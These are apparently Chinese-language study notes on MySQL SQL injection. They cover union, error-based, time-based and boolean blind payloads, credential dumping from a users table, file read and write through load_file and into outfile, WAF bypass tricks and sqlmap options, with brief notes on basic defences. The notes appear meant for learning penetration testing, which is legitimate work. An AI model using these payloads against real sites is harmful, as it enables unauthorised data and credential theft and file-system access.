2-SQL注入
第一章
MySQL 语法
union 查询需要前后语句查询字段数量相同
order by 字段名/数字
MySQL 系统库
information_schema 库:信息数据库,保存关于 MySQL 服务器维护的所有其他水库的信息
- SCHEMATA 表:提供当前 MySQL 实例中所有数据库信息
- TABLES 表:提供关于数据中表的信息,table_name
- COLOMNS 表:提供表的列信息,column_name
performance_schema 库:数据库服务器性能参数
mysql 库:核心数据库,存储数据库的用户(账户)信息
sys 库:系统数据库,结合了 information_schema 和 performance_schema 库的内容
第二章 MySQL 手工注入
- 检查输入过滤,判断有无注入点 (and 1=1)
- 猜解列名数量:order by
- 通过报错方式判断回显点:union
- 信息收集:
version () 数据库版本,database () 数据库名称
高版本:5.0+,系统库:information_schema, performance_schema, …
低版本:5.0 以下,没有系统库 - 使用对应 SQL 进行注入
information_schema.tables 查找表名
查询所有数据库名:
union select 1,group_concat(schema_name),3 from information_schema.schemata
查询 security 库下所有表名:
union select 1,table_name,3 from informaion_schema.tables where table_schema = ‘security’
‘security’可替换为 database ()
group_concat(table_name)数据合并分组
查询表中字段:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
字符可以转换成十六进制
找到字段名后:
select username,password from users
select group_concat(username,0x3a,password) from users
高权限注入
多个网站共享 MySQL 服务器时,可以从高权限数据库注入到低权限数据库。
user () 查看用户
mysql 库中存在 4 个控制权限的表,user (最高权限), db (对数据库的权限), tables_priv (对表名的操作权限), columns_priv (对字段的操作权限)。
mysql 权限表的验证过程为:
先从 user 表中的 Host,User,Password 这 3 个字段中判断连接的 ip、用户名、密码是否存在,存在则通过验证。
通过身份认证后,进行权限分配,按照 user,db,tables_priv,columns_priv 的顺序进行验证。即先检查全局权限表 user,如果 user 中对应的权限为 Y,则此用户对所有数据库的权限都为 Y,将不再检查 db, tables_priv,columns_priv;如果为 N,则到 db 表中检查此用户对应的具体数据库,并得到 db 中为 Y 的权限;如果 db 中为 N,则检查 tables_priv 中此数据库对应的具体表,取得表中的权限 Y,以此类推。
MySQL 权限级别分为:
全局性的管理权限: 作用于整个 MySQL 实例级别
数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上
数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象上
权限存储在 mysql 库的 user, db, tables_priv, columns_priv, and procs_priv 这几个系统表中,待 MySQL 实例启动后就加载到内存中

文件读写
前提条件:高权限
高版本 MySQL 添加了一个新的特性 secure_file.priv, 限制了 MySQL 导出文件的权限。
# Linux |
空:没有限制,NULL:不能进行读写,=d:/xxx/xxx:只能读写该目录下文件。
show global variables like ‘%secure%’查看 MySQL 全局变量的配置。
读文件函数load_file(),参数可以说单引号字符串,0x,char 转换的字符,注意斜杠是/。
可以在 union 中作为一个字段使用,查看 config.php, apache 配置等。
可以使用相对路径。
Windows 常见路径:
phpstudy: phpstudy/www, phpstudy/PHPTutorial/www
Xampp: xampp/htdocs
Wamp: wamp/www
Appser: appser/www
Linux 常见路径:
/var/mysql/data
/var/www/html
获取路径常见方式:报错显示,遗留文件,漏洞报错,平台配置文件等。
写入文件:函数Into Outfile(能写入多行,按格式输出),into Dumpfile(只能写入一行,没有输出格式)。
outfile 不能接 0x 或 char,只能是单引号路径。
union select 1,’abc’,3 into outfile ‘d:/1.txt —-+’ |
基础防御
魔术引号
php.ini 中 magic_quotes_gpc = On/Off
(GET/POST/Cookie)
内置函数
is_int ()
addslashes ()
mysql_real_escape_string ()
mysql_escape_string ()
自定义关键字过滤
str_replace ()
其他
其他安全防护软件如 WAF 等
第三章 数据类型与提交方式
类型转换:’1abc’和 1
模糊查询
select * from users where username like ‘%D%’
数据提交方式
GET
url 中传输数据,可利用联合注入方式直接注入。
一般用于数据不敏感时,安全性不高,长度有限制,速度很快
POST
直接传递给服务器。
一般用于表单的提交,如登录框。安全性高,长度不限,速度不快。
Cookie
$c = $_COOKIE[‘s’];
可以绕过一些常规防御手段
Request
可获取 GET/POST 参数。
$uname = $_REQUEST[‘uname’];
类似的超全局变量还有_SERVER。
第四章 查询方式和报错注入
查询方式
select 查询数据
select * from where id=$id |
delete 删除数据
delete from user where id=$id |
insert 插入数据
insert into user (id,name,pass) values(1,’lihua’,’1234’) |
update 更新数据
update user set pwd=‘123’ where id=1 |
报错盲注
基于报错的 SQL 盲注 - 报错回显(强制性报错)
updatexml (): 从目标 XML 中更改包含所查询值的字符串
updatexml (XML_document, XPath_string, new_value);
extractvalue (): 从目标 XML 中返回包含所查询值的字符串
extractvalue (XML_document, Xpath_string);
abc’ union select 1,extractvalue(1, concat(0x7e, (select version()), 0x7e))# |
abc' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))# |
注:limit 0,1: 从 0 开始取 1 个
abc' union select 1,updatexml(1,concat(0x7e,(select version()),0x7e),123)# |
abc' or updatexml(1,concat(0x7e,(select version()),0x7e),123)# |
abc' or updatexml(1,concat(0x7e,(select version()),0x7e),123) or’ |
延时盲注
select if(database()=‘test’,123,456); |
id=1 and sleep(if(length(database()=8),5,0)); |
sleep (): 休眠
if (): 分支结构
mid (a,b,c): 从 b 开始,截取 a 字符串的 c 位
substr (a,b,c): 从 b 开始,截取 a 字符串的 c 个字符
left (a,b): 从左侧截取 a 的前 b 位
length (): 长度
ord=ascii ascii (x)=100: 判断 x 的 ascii 值是否为 100
sleep(if(mid(database(),1,1)=116,5,0); |
布尔盲注
仅返回 True 或 False 时据此得到数据库中的信息。
1’ and ascii(mid(database(),1,1))>115 |
加解密注入
根据传输方式进行对应的加解密。
无列名注入
已知数据库,但不知道列名 (information_schema 被禁用) 时,可以进行无列名注入。
select `3` from (select 1,2,3 union select * from users)a; |
堆叠注入
利用注入点执行下一条 SQL 语句,与 union 联合注入的区别在于可以用于执行任意语句。
WAF 绕过
WAF 拦截原理:从规则库中匹配敏感字符进行拦截。
例:网站安全狗,宝塔,阿里云云盾
更改数据提交方式
没啥用
数据本身
更换大小写(没啥用)
内联注释:data/**/base ()
双写绕过:ununionion
/*!union select * from users*/感叹号后面的内容会执行
同义词替换:
and &&
or ||
= <、>
空格 %09, %0a, %0b, %0c, %0d, %20, %a0, (), /**/
注:%0a 是换行,也可以指代空格
换行 (\N) 绕过
union #/*%0a select/*!1,2,3*/ —-+ |
HTTP 参污染:如果 WAF 没有对多参数进行多次过滤,则只会识别其中一个

?id=1&id=-1%20union%20select%201,2,3%23*/ |
sqlmap
- 基于布尔类型的盲注
- 基于时间的盲注
- 基于报错注入
- 联合查询注入
- 堆查询注入
- 带外注入
GET 型注入
-u GET 提交方式,跟注入的 url 网址
—-dbs 获取所有数据库
—-tables 获取所有数据表
—-columns 获取所有字段
—-dump 打印数据
-D 查询某个库
-T 查询某个表
-C 查询某个字段
—-level 高时测试范围更大
—-risk
POST 型注入
-r 加载文件
-p 指定参数
—-current-db 当前数据库
—-forms 自动检测表单
UA 注入和 Refer 注入
注意,存在 POST 请求时才会出现 referer。